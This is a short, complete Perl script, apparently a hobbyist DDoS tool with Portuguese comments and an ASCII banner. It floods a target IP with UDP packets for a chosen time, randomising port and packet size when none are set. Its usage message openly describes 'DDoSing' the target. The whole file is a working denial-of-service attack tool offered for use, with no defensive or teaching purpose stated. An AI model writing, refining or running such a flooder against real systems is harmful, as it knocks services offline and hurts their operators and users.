#!/usr/bin/perl

#Created by ./Tatu
#Port - Use '80' Para Pessoas ou Porta 53 Para DNS Ou 8090 Para Site
#Size - Use '100 - 2000' (Reccomended).

use Socket;
use strict;

print '


  ________                                                 ______    _______   ______
 |        | |\     |   |        \     /       |       |   |         |       | |      \
 |        | | \    |   |         \   /        |       |   |         |       | |       \
 |        | |  \   |   |          \ /         |_______|   |______   |_______| |        |
 |        | |   \  |   |           |          |       |   |         |       | |        |
 |        | |    \ |   |           |          |       |   |         |       | |       /
 |________| |     \|   |_______    |          |       |   |______   |       | |______/
';
print "\n";


if ($#ARGV != 3) {
  print "\n\t\t\t***Error command must recieve four arguements***\n";
  print "-Ex) perl DOS.pl 1.1.1.1 80 1000 300\n";
  print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "~To cancel the attack press \'Ctrl-C\'\n\n";
print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
print "To cancel the attack press 'Ctrl-C'\n" unless $time;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1500-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}